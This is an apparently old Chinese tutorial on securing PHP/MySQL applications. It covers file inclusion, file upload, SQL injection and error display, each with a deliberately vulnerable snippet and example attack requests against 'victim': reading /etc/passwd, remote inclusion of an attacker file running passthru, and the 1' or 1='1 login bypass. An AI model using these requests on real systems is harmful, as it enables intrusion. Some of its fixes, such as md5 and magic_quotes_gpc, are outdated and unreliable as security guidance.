|
摘要：php＋mysql注入的防范方法。
-对于像where id= ‘$id‘这样的语句，如果字段id是整数，就一定要$id = intval($id);
-username = $username 这样是错误的，一定要加‘,正确写法：username＝‘$username‘
-用PHP的md5加密函数，不用MYSQL的MD5函数
-如果是字符型的呢？
我们可以先用addslashes()过滤一下，然后再过滤”%”和”_”.
例如：
$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search);
记得，可千万别在magic_quotes_gpc＝On的情况下替换\为\\,如下：
$password=str_replace("\\","\\\\",$password);
-登陆的地方，如果是只用一个管理员管理的话，我们可以直接对username和passwd用md5加密，这样就不用害怕注入技术的发展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
- 包含文件
极易受攻击的代码片断：
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如http://attack/attack.txt的内容是<?passthru("ls /etc")?>，那么如下的请求就可以在目标主机执行命令ls /etc：
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
<?
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache。
- 文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开）
$file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ）
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用：
$HTTP_POST_FILES[‘file‘][‘tmp_name‘]
$HTTP_POST_FILES[‘file‘][‘size‘]
$HTTP_POST_FILES[‘file‘][‘name‘]
$HTTP_POST_FILES[‘file‘][‘type‘]
这是一个最简单的文件上传代码：
<?
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功！点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里：
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件：
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法：
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory>
重启apache，upload目录的php文件就不能被apache解释了，即使上传了php文件也没有问题，只能直接显示源码。
- sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题：
select * from login where user=‘$user‘ and pass=‘$pass‘
攻击者可以用户名和口令都输入1‘ or 1=‘1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On，该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了：
select * from login where user=‘1\‘ or 1=\‘1‘ and pass=‘1\‘ or 1=\‘1‘
从而避免了此类sql_inject攻击。
对于数字类型的字段，很多程序员会这样写：
select * from test where id=$id
由于变量没有用单引号扩起来，就会造成sql_inject攻击。幸亏MySQL功能简单，没有sqlserver等数据库有执行命令的SQL语句，而且PHP的mysql_query()函数也只允许执行一条SQL语句，所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错，泄漏系统的一些信息，或者一些意想不到的情况。
解决方法：
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段，变量也要用单引号扩起来，MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户，只允许对自己的库进行操作，这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。
- 警告及错误信息
PHP默认显示所有的警告及错误信息：
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用，可以根据警告信息马上找到程序错误所在。
正式应用时，警告及错误信息让用户不知所措，而且给攻击者泄漏了脚本所在的物理路径，为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方，反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的，即不给攻击者泄漏物理路径，又能让自己知道程序错误所在。
修改php.ini中关于Error handling and logging部分内容：
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache，注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。
|
